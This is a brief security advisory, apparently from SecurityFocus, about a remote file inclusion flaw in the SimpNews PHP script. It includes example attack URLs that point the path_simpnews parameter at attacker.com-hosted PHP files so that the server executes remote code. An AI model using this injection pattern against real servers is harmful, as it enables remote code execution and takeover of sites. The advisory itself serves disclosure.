source: https://www.securityfocus.com/bid/8227/info
SimpNews is prone to a vulnerability that may permit remote attackers to include and execute malicious PHP scripts. Remote users, under some PHP configurations, may influence a Simpnews URI variable. This variable is used in the include path for several SimpNews configuration scripts. By influencing the include path so that it points to a malicious PHP script on a remote system, it is possible to cause arbitrary PHP code to be executed.
http://www.example.com/eventcal2.php.php?path_simpnews=
with
http://www.attacker.com/config.php
http://www.attacker.com/functions.php
http://www.attacker.com/includes/has_entries.inc
or
http://www.example.com/eventscroller.php?path_simpnews=
with
http://www.attacker.com/config.php
http://www.attacker.com/functions.php
